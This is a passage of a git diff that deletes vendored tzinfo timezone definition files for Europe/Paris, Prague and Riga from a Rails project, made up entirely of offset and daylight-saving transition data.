-          tz.transition 2027, 10, :o6, 1824937200
-          tz.transition 2028, 3, :o5, 1837638000
-          tz.transition 2028, 10, :o6, 1856386800
-          tz.transition 2029, 3, :o5, 1869087600
-          tz.transition 2029, 10, :o6, 1887836400
-          tz.transition 2030, 3, :o5, 1901142000
-          tz.transition 2030, 10, :o6, 1919286000
-          tz.transition 2031, 3, :o5, 1932591600
-          tz.transition 2031, 10, :o6, 1950735600
-          tz.transition 2032, 3, :o5, 1964041200
-          tz.transition 2032, 10, :o6, 1982790000
-          tz.transition 2033, 3, :o5, 1995490800
-          tz.transition 2033, 10, :o6, 2014239600
-          tz.transition 2034, 3, :o5, 2026940400
-          tz.transition 2034, 10, :o6, 2045689200
-          tz.transition 2035, 3, :o5, 2058390000
-          tz.transition 2035, 10, :o6, 2077138800
-          tz.transition 2036, 3, :o5, 2090444400
-          tz.transition 2036, 10, :o6, 2108588400
-          tz.transition 2037, 3, :o5, 2121894000
-          tz.transition 2037, 10, :o6, 2140038000
-          tz.transition 2038, 3, :o5, 59172251, 24
-          tz.transition 2038, 10, :o6, 59177459, 24
-          tz.transition 2039, 3, :o5, 59180987, 24
-          tz.transition 2039, 10, :o6, 59186195, 24
-          tz.transition 2040, 3, :o5, 59189723, 24
-          tz.transition 2040, 10, :o6, 59194931, 24
-          tz.transition 2041, 3, :o5, 59198627, 24
-          tz.transition 2041, 10, :o6, 59203667, 24
-          tz.transition 2042, 3, :o5, 59207363, 24
-          tz.transition 2042, 10, :o6, 59212403, 24
-          tz.transition 2043, 3, :o5, 59216099, 24
-          tz.transition 2043, 10, :o6, 59221139, 24
-          tz.transition 2044, 3, :o5, 59224835, 24
-          tz.transition 2044, 10, :o6, 59230043, 24
-          tz.transition 2045, 3, :o5, 59233571, 24
-          tz.transition 2045, 10, :o6, 59238779, 24
-          tz.transition 2046, 3, :o5, 59242307, 24
-          tz.transition 2046, 10, :o6, 59247515, 24
-          tz.transition 2047, 3, :o5, 59251211, 24
-          tz.transition 2047, 10, :o6, 59256251, 24
-          tz.transition 2048, 3, :o5, 59259947, 24
-          tz.transition 2048, 10, :o6, 59264987, 24
-          tz.transition 2049, 3, :o5, 59268683, 24
-          tz.transition 2049, 10, :o6, 59273891, 24
-          tz.transition 2050, 3, :o5, 59277419, 24
-          tz.transition 2050, 10, :o6, 59282627, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb
deleted file mode 100644
index e3236c0b..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Paris.rb
+++ /dev/null
@@ -1,232 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Paris
-        include TimezoneDefinition
-        
-        timezone 'Europe/Paris' do |tz|
-          tz.offset :o0, 561, 0, :LMT
-          tz.offset :o1, 561, 0, :PMT
-          tz.offset :o2, 0, 0, :WET
-          tz.offset :o3, 0, 3600, :WEST
-          tz.offset :o4, 3600, 3600, :CEST
-          tz.offset :o5, 3600, 0, :CET
-          tz.offset :o6, 0, 7200, :WEMT
-          
-          tz.transition 1891, 3, :o1, 69460027033, 28800
-          tz.transition 1911, 3, :o2, 69670267033, 28800
-          tz.transition 1916, 6, :o3, 58104707, 24
-          tz.transition 1916, 10, :o2, 58107323, 24
-          tz.transition 1917, 3, :o3, 58111499, 24
-          tz.transition 1917, 10, :o2, 58116227, 24
-          tz.transition 1918, 3, :o3, 58119899, 24
-          tz.transition 1918, 10, :o2, 58124963, 24
-          tz.transition 1919, 3, :o3, 58128467, 24
-          tz.transition 1919, 10, :o2, 58133699, 24
-          tz.transition 1920, 2, :o3, 58136867, 24
-          tz.transition 1920, 10, :o2, 58142915, 24
-          tz.transition 1921, 3, :o3, 58146323, 24
-          tz.transition 1921, 10, :o2, 58151723, 24
-          tz.transition 1922, 3, :o3, 58155347, 24
-          tz.transition 1922, 10, :o2, 58160051, 24
-          tz.transition 1923, 5, :o3, 58165595, 24
-          tz.transition 1923, 10, :o2, 58168787, 24
-          tz.transition 1924, 3, :o3, 58172987, 24
-          tz.transition 1924, 10, :o2, 58177523, 24
-          tz.transition 1925, 4, :o3, 58181891, 24
-          tz.transition 1925, 10, :o2, 58186259, 24
-          tz.transition 1926, 4, :o3, 58190963, 24
-          tz.transition 1926, 10, :o2, 58194995, 24
-          tz.transition 1927, 4, :o3, 58199531, 24
-          tz.transition 1927, 10, :o2, 58203731, 24
-          tz.transition 1928, 4, :o3, 58208435, 24
-          tz.transition 1928, 10, :o2, 58212635, 24
-          tz.transition 1929, 4, :o3, 58217339, 24
-          tz.transition 1929, 10, :o2, 58221371, 24
-          tz.transition 1930, 4, :o3, 58225907, 24
-          tz.transition 1930, 10, :o2, 58230107, 24
-          tz.transition 1931, 4, :o3, 58234811, 24
-          tz.transition 1931, 10, :o2, 58238843, 24
-          tz.transition 1932, 4, :o3, 58243211, 24
-          tz.transition 1932, 10, :o2, 58247579, 24
-          tz.transition 1933, 3, :o3, 58251779, 24
-          tz.transition 1933, 10, :o2, 58256483, 24
-          tz.transition 1934, 4, :o3, 58260851, 24
-          tz.transition 1934, 10, :o2, 58265219, 24
-          tz.transition 1935, 3, :o3, 58269419, 24
-          tz.transition 1935, 10, :o2, 58273955, 24
-          tz.transition 1936, 4, :o3, 58278659, 24
-          tz.transition 1936, 10, :o2, 58282691, 24
-          tz.transition 1937, 4, :o3, 58287059, 24
-          tz.transition 1937, 10, :o2, 58291427, 24
-          tz.transition 1938, 3, :o3, 58295627, 24
-          tz.transition 1938, 10, :o2, 58300163, 24
-          tz.transition 1939, 4, :o3, 58304867, 24
-          tz.transition 1939, 11, :o2, 58310075, 24
-          tz.transition 1940, 2, :o3, 29156215, 12
-          tz.transition 1940, 6, :o4, 29157545, 12
-          tz.transition 1942, 11, :o5, 58335973, 24
-          tz.transition 1943, 3, :o4, 58339501, 24
-          tz.transition 1943, 10, :o5, 58344037, 24
-          tz.transition 1944, 4, :o4, 58348405, 24
-          tz.transition 1944, 8, :o6, 29175929, 12
-          tz.transition 1944, 10, :o3, 58352915, 24
-          tz.transition 1945, 4, :o6, 58357141, 24
-          tz.transition 1945, 9, :o5, 58361149, 24
-          tz.transition 1976, 3, :o4, 196819200
-          tz.transition 1976, 9, :o5, 212540400
-          tz.transition 1977, 4, :o4, 228877200
-          tz.transition 1977, 9, :o5, 243997200
-          tz.transition 1978, 4, :o4, 260326800
-          tz.transition 1978, 10, :o5, 276051600
-          tz.transition 1979, 4, :o4, 291776400
-          tz.transition 1979, 9, :o5, 307501200
-          tz.transition 1980, 4, :o4, 323830800
-          tz.transition 1980, 9, :o5, 338950800
-          tz.transition 1981, 3, :o4, 354675600
-          tz.transition 1981, 9, :o5, 370400400
-          tz.transition 1982, 3, :o4, 386125200
-          tz.transition 1982, 9, :o5, 401850000
-          tz.transition 1983, 3, :o4, 417574800
-          tz.transition 1983, 9, :o5, 433299600
-          tz.transition 1984, 3, :o4, 449024400
-          tz.transition 1984, 9, :o5, 465354000
-          tz.transition 1985, 3, :o4, 481078800
-          tz.transition 1985, 9, :o5, 496803600
-          tz.transition 1986, 3, :o4, 512528400
-          tz.transition 1986, 9, :o5, 528253200
-          tz.transition 1987, 3, :o4, 543978000
-          tz.transition 1987, 9, :o5, 559702800
-          tz.transition 1988, 3, :o4, 575427600
-          tz.transition 1988, 9, :o5, 591152400
-          tz.transition 1989, 3, :o4, 606877200
-          tz.transition 1989, 9, :o5, 622602000
-          tz.transition 1990, 3, :o4, 638326800
-          tz.transition 1990, 9, :o5, 654656400
-          tz.transition 1991, 3, :o4, 670381200
-          tz.transition 1991, 9, :o5, 686106000
-          tz.transition 1992, 3, :o4, 701830800
-          tz.transition 1992, 9, :o5, 717555600
-          tz.transition 1993, 3, :o4, 733280400
-          tz.transition 1993, 9, :o5, 749005200
-          tz.transition 1994, 3, :o4, 764730000
-          tz.transition 1994, 9, :o5, 780454800
-          tz.transition 1995, 3, :o4, 796179600
-          tz.transition 1995, 9, :o5, 811904400
-          tz.transition 1996, 3, :o4, 828234000
-          tz.transition 1996, 10, :o5, 846378000
-          tz.transition 1997, 3, :o4, 859683600
-          tz.transition 1997, 10, :o5, 877827600
-          tz.transition 1998, 3, :o4, 891133200
-          tz.transition 1998, 10, :o5, 909277200
-          tz.transition 1999, 3, :o4, 922582800
-          tz.transition 1999, 10, :o5, 941331600
-          tz.transition 2000, 3, :o4, 954032400
-          tz.transition 2000, 10, :o5, 972781200
-          tz.transition 2001, 3, :o4, 985482000
-          tz.transition 2001, 10, :o5, 1004230800
-          tz.transition 2002, 3, :o4, 1017536400
-          tz.transition 2002, 10, :o5, 1035680400
-          tz.transition 2003, 3, :o4, 1048986000
-          tz.transition 2003, 10, :o5, 1067130000
-          tz.transition 2004, 3, :o4, 1080435600
-          tz.transition 2004, 10, :o5, 1099184400
-          tz.transition 2005, 3, :o4, 1111885200
-          tz.transition 2005, 10, :o5, 1130634000
-          tz.transition 2006, 3, :o4, 1143334800
-          tz.transition 2006, 10, :o5, 1162083600
-          tz.transition 2007, 3, :o4, 1174784400
-          tz.transition 2007, 10, :o5, 1193533200
-          tz.transition 2008, 3, :o4, 1206838800
-          tz.transition 2008, 10, :o5, 1224982800
-          tz.transition 2009, 3, :o4, 1238288400
-          tz.transition 2009, 10, :o5, 1256432400
-          tz.transition 2010, 3, :o4, 1269738000
-          tz.transition 2010, 10, :o5, 1288486800
-          tz.transition 2011, 3, :o4, 1301187600
-          tz.transition 2011, 10, :o5, 1319936400
-          tz.transition 2012, 3, :o4, 1332637200
-          tz.transition 2012, 10, :o5, 1351386000
-          tz.transition 2013, 3, :o4, 1364691600
-          tz.transition 2013, 10, :o5, 1382835600
-          tz.transition 2014, 3, :o4, 1396141200
-          tz.transition 2014, 10, :o5, 1414285200
-          tz.transition 2015, 3, :o4, 1427590800
-          tz.transition 2015, 10, :o5, 1445734800
-          tz.transition 2016, 3, :o4, 1459040400
-          tz.transition 2016, 10, :o5, 1477789200
-          tz.transition 2017, 3, :o4, 1490490000
-          tz.transition 2017, 10, :o5, 1509238800
-          tz.transition 2018, 3, :o4, 1521939600
-          tz.transition 2018, 10, :o5, 1540688400
-          tz.transition 2019, 3, :o4, 1553994000
-          tz.transition 2019, 10, :o5, 1572138000
-          tz.transition 2020, 3, :o4, 1585443600
-          tz.transition 2020, 10, :o5, 1603587600
-          tz.transition 2021, 3, :o4, 1616893200
-          tz.transition 2021, 10, :o5, 1635642000
-          tz.transition 2022, 3, :o4, 1648342800
-          tz.transition 2022, 10, :o5, 1667091600
-          tz.transition 2023, 3, :o4, 1679792400
-          tz.transition 2023, 10, :o5, 1698541200
-          tz.transition 2024, 3, :o4, 1711846800
-          tz.transition 2024, 10, :o5, 1729990800
-          tz.transition 2025, 3, :o4, 1743296400
-          tz.transition 2025, 10, :o5, 1761440400
-          tz.transition 2026, 3, :o4, 1774746000
-          tz.transition 2026, 10, :o5, 1792890000
-          tz.transition 2027, 3, :o4, 1806195600
-          tz.transition 2027, 10, :o5, 1824944400
-          tz.transition 2028, 3, :o4, 1837645200
-          tz.transition 2028, 10, :o5, 1856394000
-          tz.transition 2029, 3, :o4, 1869094800
-          tz.transition 2029, 10, :o5, 1887843600
-          tz.transition 2030, 3, :o4, 1901149200
-          tz.transition 2030, 10, :o5, 1919293200
-          tz.transition 2031, 3, :o4, 1932598800
-          tz.transition 2031, 10, :o5, 1950742800
-          tz.transition 2032, 3, :o4, 1964048400
-          tz.transition 2032, 10, :o5, 1982797200
-          tz.transition 2033, 3, :o4, 1995498000
-          tz.transition 2033, 10, :o5, 2014246800
-          tz.transition 2034, 3, :o4, 2026947600
-          tz.transition 2034, 10, :o5, 2045696400
-          tz.transition 2035, 3, :o4, 2058397200
-          tz.transition 2035, 10, :o5, 2077146000
-          tz.transition 2036, 3, :o4, 2090451600
-          tz.transition 2036, 10, :o5, 2108595600
-          tz.transition 2037, 3, :o4, 2121901200
-          tz.transition 2037, 10, :o5, 2140045200
-          tz.transition 2038, 3, :o4, 59172253, 24
-          tz.transition 2038, 10, :o5, 59177461, 24
-          tz.transition 2039, 3, :o4, 59180989, 24
-          tz.transition 2039, 10, :o5, 59186197, 24
-          tz.transition 2040, 3, :o4, 59189725, 24
-          tz.transition 2040, 10, :o5, 59194933, 24
-          tz.transition 2041, 3, :o4, 59198629, 24
-          tz.transition 2041, 10, :o5, 59203669, 24
-          tz.transition 2042, 3, :o4, 59207365, 24
-          tz.transition 2042, 10, :o5, 59212405, 24
-          tz.transition 2043, 3, :o4, 59216101, 24
-          tz.transition 2043, 10, :o5, 59221141, 24
-          tz.transition 2044, 3, :o4, 59224837, 24
-          tz.transition 2044, 10, :o5, 59230045, 24
-          tz.transition 2045, 3, :o4, 59233573, 24
-          tz.transition 2045, 10, :o5, 59238781, 24
-          tz.transition 2046, 3, :o4, 59242309, 24
-          tz.transition 2046, 10, :o5, 59247517, 24
-          tz.transition 2047, 3, :o4, 59251213, 24
-          tz.transition 2047, 10, :o5, 59256253, 24
-          tz.transition 2048, 3, :o4, 59259949, 24
-          tz.transition 2048, 10, :o5, 59264989, 24
-          tz.transition 2049, 3, :o4, 59268685, 24
-          tz.transition 2049, 10, :o5, 59273893, 24
-          tz.transition 2050, 3, :o4, 59277421, 24
-          tz.transition 2050, 10, :o5, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb
deleted file mode 100644
index bcabee96..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Prague.rb
+++ /dev/null
@@ -1,187 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Prague
-        include TimezoneDefinition
-        
-        timezone 'Europe/Prague' do |tz|
-          tz.offset :o0, 3464, 0, :LMT
-          tz.offset :o1, 3464, 0, :PMT
-          tz.offset :o2, 3600, 0, :CET
-          tz.offset :o3, 3600, 3600, :CEST
-          
-          tz.transition 1849, 12, :o1, 25884991367, 10800
-          tz.transition 1891, 9, :o2, 26049669767, 10800
-          tz.transition 1916, 4, :o3, 29051813, 12
-          tz.transition 1916, 9, :o2, 58107299, 24
-          tz.transition 1917, 4, :o3, 58112029, 24
-          tz.transition 1917, 9, :o2, 58115725, 24
-          tz.transition 1918, 4, :o3, 58120765, 24
-          tz.transition 1918, 9, :o2, 58124461, 24
-          tz.transition 1940, 4, :o3, 58313293, 24
-          tz.transition 1942, 11, :o2, 58335973, 24
-          tz.transition 1943, 3, :o3, 58339501, 24
-          tz.transition 1943, 10, :o2, 58344037, 24
-          tz.transition 1944, 4, :o3, 58348405, 24
-          tz.transition 1944, 9, :o2, 58352413, 24
-          tz.transition 1945, 4, :o3, 58357285, 24
-          tz.transition 1945, 11, :o2, 58362661, 24
-          tz.transition 1946, 5, :o3, 58366717, 24
-          tz.transition 1946, 10, :o2, 58370389, 24
-          tz.transition 1947, 4, :o3, 58375093, 24
-          tz.transition 1947, 10, :o2, 58379125, 24
-          tz.transition 1948, 4, :o3, 58383829, 24
-          tz.transition 1948, 10, :o2, 58387861, 24
-          tz.transition 1949, 4, :o3, 58392373, 24
-          tz.transition 1949, 10, :o2, 58396597, 24
-          tz.transition 1979, 4, :o3, 291776400
-          tz.transition 1979, 9, :o2, 307501200
-          tz.transition 1980, 4, :o3, 323830800
-          tz.transition 1980, 9, :o2, 338950800
-          tz.transition 1981, 3, :o3, 354675600
-          tz.transition 1981, 9, :o2, 370400400
-          tz.transition 1982, 3, :o3, 386125200
-          tz.transition 1982, 9, :o2, 401850000
-          tz.transition 1983, 3, :o3, 417574800
-          tz.transition 1983, 9, :o2, 433299600
-          tz.transition 1984, 3, :o3, 449024400
-          tz.transition 1984, 9, :o2, 465354000
-          tz.transition 1985, 3, :o3, 481078800
-          tz.transition 1985, 9, :o2, 496803600
-          tz.transition 1986, 3, :o3, 512528400
-          tz.transition 1986, 9, :o2, 528253200
-          tz.transition 1987, 3, :o3, 543978000
-          tz.transition 1987, 9, :o2, 559702800
-          tz.transition 1988, 3, :o3, 575427600
-          tz.transition 1988, 9, :o2, 591152400
-          tz.transition 1989, 3, :o3, 606877200
-          tz.transition 1989, 9, :o2, 622602000
-          tz.transition 1990, 3, :o3, 638326800
-          tz.transition 1990, 9, :o2, 654656400
-          tz.transition 1991, 3, :o3, 670381200
-          tz.transition 1991, 9, :o2, 686106000
-          tz.transition 1992, 3, :o3, 701830800
-          tz.transition 1992, 9, :o2, 717555600
-          tz.transition 1993, 3, :o3, 733280400
-          tz.transition 1993, 9, :o2, 749005200
-          tz.transition 1994, 3, :o3, 764730000
-          tz.transition 1994, 9, :o2, 780454800
-          tz.transition 1995, 3, :o3, 796179600
-          tz.transition 1995, 9, :o2, 811904400
-          tz.transition 1996, 3, :o3, 828234000
-          tz.transition 1996, 10, :o2, 846378000
-          tz.transition 1997, 3, :o3, 859683600
-          tz.transition 1997, 10, :o2, 877827600
-          tz.transition 1998, 3, :o3, 891133200
-          tz.transition 1998, 10, :o2, 909277200
-          tz.transition 1999, 3, :o3, 922582800
-          tz.transition 1999, 10, :o2, 941331600
-          tz.transition 2000, 3, :o3, 954032400
-          tz.transition 2000, 10, :o2, 972781200
-          tz.transition 2001, 3, :o3, 985482000
-          tz.transition 2001, 10, :o2, 1004230800
-          tz.transition 2002, 3, :o3, 1017536400
-          tz.transition 2002, 10, :o2, 1035680400
-          tz.transition 2003, 3, :o3, 1048986000
-          tz.transition 2003, 10, :o2, 1067130000
-          tz.transition 2004, 3, :o3, 1080435600
-          tz.transition 2004, 10, :o2, 1099184400
-          tz.transition 2005, 3, :o3, 1111885200
-          tz.transition 2005, 10, :o2, 1130634000
-          tz.transition 2006, 3, :o3, 1143334800
-          tz.transition 2006, 10, :o2, 1162083600
-          tz.transition 2007, 3, :o3, 1174784400
-          tz.transition 2007, 10, :o2, 1193533200
-          tz.transition 2008, 3, :o3, 1206838800
-          tz.transition 2008, 10, :o2, 1224982800
-          tz.transition 2009, 3, :o3, 1238288400
-          tz.transition 2009, 10, :o2, 1256432400
-          tz.transition 2010, 3, :o3, 1269738000
-          tz.transition 2010, 10, :o2, 1288486800
-          tz.transition 2011, 3, :o3, 1301187600
-          tz.transition 2011, 10, :o2, 1319936400
-          tz.transition 2012, 3, :o3, 1332637200
-          tz.transition 2012, 10, :o2, 1351386000
-          tz.transition 2013, 3, :o3, 1364691600
-          tz.transition 2013, 10, :o2, 1382835600
-          tz.transition 2014, 3, :o3, 1396141200
-          tz.transition 2014, 10, :o2, 1414285200
-          tz.transition 2015, 3, :o3, 1427590800
-          tz.transition 2015, 10, :o2, 1445734800
-          tz.transition 2016, 3, :o3, 1459040400
-          tz.transition 2016, 10, :o2, 1477789200
-          tz.transition 2017, 3, :o3, 1490490000
-          tz.transition 2017, 10, :o2, 1509238800
-          tz.transition 2018, 3, :o3, 1521939600
-          tz.transition 2018, 10, :o2, 1540688400
-          tz.transition 2019, 3, :o3, 1553994000
-          tz.transition 2019, 10, :o2, 1572138000
-          tz.transition 2020, 3, :o3, 1585443600
-          tz.transition 2020, 10, :o2, 1603587600
-          tz.transition 2021, 3, :o3, 1616893200
-          tz.transition 2021, 10, :o2, 1635642000
-          tz.transition 2022, 3, :o3, 1648342800
-          tz.transition 2022, 10, :o2, 1667091600
-          tz.transition 2023, 3, :o3, 1679792400
-          tz.transition 2023, 10, :o2, 1698541200
-          tz.transition 2024, 3, :o3, 1711846800
-          tz.transition 2024, 10, :o2, 1729990800
-          tz.transition 2025, 3, :o3, 1743296400
-          tz.transition 2025, 10, :o2, 1761440400
-          tz.transition 2026, 3, :o3, 1774746000
-          tz.transition 2026, 10, :o2, 1792890000
-          tz.transition 2027, 3, :o3, 1806195600
-          tz.transition 2027, 10, :o2, 1824944400
-          tz.transition 2028, 3, :o3, 1837645200
-          tz.transition 2028, 10, :o2, 1856394000
-          tz.transition 2029, 3, :o3, 1869094800
-          tz.transition 2029, 10, :o2, 1887843600
-          tz.transition 2030, 3, :o3, 1901149200
-          tz.transition 2030, 10, :o2, 1919293200
-          tz.transition 2031, 3, :o3, 1932598800
-          tz.transition 2031, 10, :o2, 1950742800
-          tz.transition 2032, 3, :o3, 1964048400
-          tz.transition 2032, 10, :o2, 1982797200
-          tz.transition 2033, 3, :o3, 1995498000
-          tz.transition 2033, 10, :o2, 2014246800
-          tz.transition 2034, 3, :o3, 2026947600
-          tz.transition 2034, 10, :o2, 2045696400
-          tz.transition 2035, 3, :o3, 2058397200
-          tz.transition 2035, 10, :o2, 2077146000
-          tz.transition 2036, 3, :o3, 2090451600
-          tz.transition 2036, 10, :o2, 2108595600
-          tz.transition 2037, 3, :o3, 2121901200
-          tz.transition 2037, 10, :o2, 2140045200
-          tz.transition 2038, 3, :o3, 59172253, 24
-          tz.transition 2038, 10, :o2, 59177461, 24
-          tz.transition 2039, 3, :o3, 59180989, 24
-          tz.transition 2039, 10, :o2, 59186197, 24
-          tz.transition 2040, 3, :o3, 59189725, 24
-          tz.transition 2040, 10, :o2, 59194933, 24
-          tz.transition 2041, 3, :o3, 59198629, 24
-          tz.transition 2041, 10, :o2, 59203669, 24
-          tz.transition 2042, 3, :o3, 59207365, 24
-          tz.transition 2042, 10, :o2, 59212405, 24
-          tz.transition 2043, 3, :o3, 59216101, 24
-          tz.transition 2043, 10, :o2, 59221141, 24
-          tz.transition 2044, 3, :o3, 59224837, 24
-          tz.transition 2044, 10, :o2, 59230045, 24
-          tz.transition 2045, 3, :o3, 59233573, 24
-          tz.transition 2045, 10, :o2, 59238781, 24
-          tz.transition 2046, 3, :o3, 59242309, 24
-          tz.transition 2046, 10, :o2, 59247517, 24
-          tz.transition 2047, 3, :o3, 59251213, 24
-          tz.transition 2047, 10, :o2, 59256253, 24
-          tz.transition 2048, 3, :o3, 59259949, 24
-          tz.transition 2048, 10, :o2, 59264989, 24
-          tz.transition 2049, 3, :o3, 59268685, 24
-          tz.transition 2049, 10, :o2, 59273893, 24
-          tz.transition 2050, 3, :o3, 59277421, 24
-          tz.transition 2050, 10, :o2, 59282629, 24
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb
deleted file mode 100644
index 784837f7..00000000
--- a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb
+++ /dev/null
@@ -1,176 +0,0 @@
-require 'tzinfo/timezone_definition'
-
-module TZInfo
-  module Definitions
-    module Europe
-      module Riga
-        include TimezoneDefinition
-        
-        timezone 'Europe/Riga' do |tz|
-          tz.offset :o0, 5784, 0, :LMT
-          tz.offset :o1, 5784, 0, :RMT
-          tz.offset :o2, 5784, 3600, :LST
-          tz.offset :o3, 7200, 0, :EET
-          tz.offset :o4, 10800, 0, :MSK
-          tz.offset :o5, 3600, 3600, :CEST
-          tz.offset :o6, 3600, 0, :CET
-          tz.offset :o7, 10800, 3600, :MSD
-          tz.offset :o8, 7200, 3600, :EEST
-          
-          tz.transition 1879, 12, :o1, 8667775559, 3600
-          tz.transition 1918, 4, :o2, 8718114659, 3600
-          tz.transition 1918, 9, :o1, 8718669059, 3600
-          tz.transition 1919, 4, :o2, 8719378259, 3600
-          tz.transition 1919, 5, :o1, 8719561859, 3600
-          tz.transition 1926, 5, :o3, 8728727159, 3600
-          tz.transition 1940, 8, :o4, 29158157, 12
-          tz.transition 1941, 6, :o5, 19441411, 8
-          tz.transition 1942, 11, :o6, 58335973, 24
-          tz.transition 1943, 3, :o5, 58339501, 24
-          tz.transition 1943, 10, :o6, 58344037, 24
-          tz.transition 1944, 4, :o5, 58348405, 24
-          tz.transition 1944, 10, :o6, 58352773, 24
-          tz.transition 1944, 10, :o4, 58353035, 24
-          tz.transition 1981, 3, :o7, 354920400
-          tz.transition 1981, 9, :o4, 370728000
-          tz.transition 1982, 3, :o7, 386456400
-          tz.transition 1982, 9, :o4, 402264000
-          tz.transition 1983, 3, :o7, 417992400
-          tz.transition 1983, 9, :o4, 433800000
-          tz.transition 1984, 3, :o7, 449614800
-          tz.transition 1984, 9, :o4, 465346800
-          tz.transition 1985, 3, :o7, 481071600
-          tz.transition 1985, 9, :o4, 496796400
-          tz.transition 1986, 3, :o7, 512521200
-          tz.transition 1986, 9, :o4, 528246000
-          tz.transition 1987, 3, :o7, 543970800
-          tz.transition 1987, 9, :o4, 559695600
-          tz.transition 1988, 3, :o7, 575420400
-          tz.transition 1988, 9, :o4, 591145200
-          tz.transition 1989, 3, :o8, 606870000
-          tz.transition 1989, 9, :o3, 622598400
-          tz.transition 1990, 3, :o8, 638323200
-          tz.transition 1990, 9, :o3, 654652800
-          tz.transition 1991, 3, :o8, 670377600
-          tz.transition 1991, 9, :o3, 686102400
-          tz.transition 1992, 3, :o8, 701827200
-          tz.transition 1992, 9, :o3, 717552000
-          tz.transition 1993, 3, :o8, 733276800
-          tz.transition 1993, 9, :o3, 749001600
-          tz.transition 1994, 3, :o8, 764726400
-          tz.transition 1994, 9, :o3, 780451200
-          tz.transition 1995, 3, :o8, 796176000
-          tz.transition 1995, 9, :o3, 811900800
-          tz.transition 1996, 3, :o8, 828230400
-          tz.transition 1996, 9, :o3, 843955200
-          tz.transition 1997, 3, :o8, 859683600
-          tz.transition 1997, 10, :o3, 877827600
-          tz.transition 1998, 3, :o8, 891133200
-          tz.transition 1998, 10, :o3, 909277200
-          tz.transition 1999, 3, :o8, 922582800
-          tz.transition 1999, 10, :o3, 941331600
-          tz.transition 2001, 3, :o8, 985482000
-          tz.transition 2001, 10, :o3, 1004230800
-          tz.transition 2002, 3, :o8, 1017536400
-          tz.transition 2002, 10, :o3, 1035680400
-          tz.transition 2003, 3, :o8, 1048986000
-          tz.transition 2003, 10, :o3, 1067130000
-          tz.transition 2004, 3, :o8, 1080435600
-          tz.transition 2004, 10, :o3, 1099184400
-          tz.transition 2005, 3, :o8, 1111885200
-          tz.transition 2005, 10, :o3, 1130634000
-          tz.transition 2006, 3, :o8, 1143334800
-          tz.transition 2006, 10, :o3, 1162083600
-          tz.transition 2007, 3, :o8, 1174784400
-          tz.transition 2007, 10, :o3, 1193533200
-          tz.transition 2008, 3, :o8, 1206838800
-          tz.transition 2008, 10, :o3, 1224982800
-          tz.transition 2009, 3, :o8, 1238288400
-          tz.transition 2009, 10, :o3, 1256432400
-          tz.transition 2010, 3, :o8, 1269738000
-          tz.transition 2010, 10, :o3, 1288486800
-          tz.transition 2011, 3, :o8, 1301187600
-          tz.transition 2011, 10, :o3, 1319936400
-          tz.transition 2012, 3, :o8, 1332637200
-          tz.transition 2012, 10, :o3, 1351386000
-          tz.transition 2013, 3, :o8, 1364691600
-          tz.transition 2013, 10, :o3, 1382835600
-          tz.transition 2014, 3, :o8, 1396141200
-          tz.transition 2014, 10, :o3, 1414285200
-          tz.transition 2015, 3, :o8, 1427590800
-          tz.transition 2015, 10, :o3, 1445734800
-          tz.transition 2016, 3, :o8, 1459040400
-          tz.transition 2016, 10, :o3, 1477789200
-          tz.transition 2017, 3, :o8, 1490490000
-          tz.transition 2017, 10, :o3, 1509238800
-          tz.transition 2018, 3, :o8, 1521939600
-          tz.transition 2018, 10, :o3, 1540688400
-          tz.transition 2019, 3, :o8, 1553994000
-          tz.transition 2019, 10, :o3, 1572138000
-          tz.transition 2020, 3, :o8, 1585443600
-          tz.transition 2020, 10, :o3, 1603587600
-          tz.transition 2021, 3, :o8, 1616893200
-          tz.transition 2021, 10, :o3, 1635642000
-          tz.transition 2022, 3, :o8, 1648342800
-          tz.transition 2022, 10, :o3, 1667091600
-          tz.transition 2023, 3, :o8, 1679792400
-          tz.transition 2023, 10, :o3, 1698541200
-          tz.transition 2024, 3, :o8, 1711846800
-          tz.transition 2024, 10, :o3, 1729990800
-          tz.transition 2025, 3, :o8, 1743296400
-          tz.transition 2025, 10, :o3, 1761440400
-          tz.transition 2026, 3, :o8, 1774746000
-          tz.transition 2026, 10, :o3, 1792890000
-          tz.transition 2027, 3, :o8, 1806195600
-          tz.transition 2027, 10, :o3, 1824944400
-          tz.transition 2028, 3, :o8, 1837645200
-          tz.transition 2028, 10, :o3, 1856394000
-          tz.transition 2029, 3, :o8, 1869094800
-          tz.transition 2029, 10, :o3, 1887843600
-          tz.transition 2030, 3, :o8, 1901149200
-          tz.transition 2030, 10, :o3, 1919293200
-          tz.transition 2031, 3, :o8, 1932598800
-          tz.transition 2031, 10, :o3, 1950742800
-          tz.transition 2032, 3, :o8, 1964048400
-          tz.transition 2032, 10, :o3, 1982797200
-          tz.transition 2033, 3, :o8, 1995498000
-          tz.transition 2033, 10, :o3, 2014246800
-          tz.transition 2034, 3, :o8, 2026947600
-          tz.transition 2034, 10, :o3, 2045696400
-          tz.transition 2035, 3, :o8, 2058397200
-          tz.transition 2035, 10, :o3, 2077146000
-          tz.transition 2036, 3, :o8, 2090451600
-          tz.transition 2036, 10, :o3, 2108595600
-          tz.transition 2037, 3, :o8, 2121901200
-          tz.transition 2037, 10, :o3, 2140045200
-          tz.transition 2038, 3, :o8, 59172253, 24
-          tz.transition 2038, 10, :o3, 59177461, 24
-          tz.transition 2039, 3, :o8, 59180989, 24
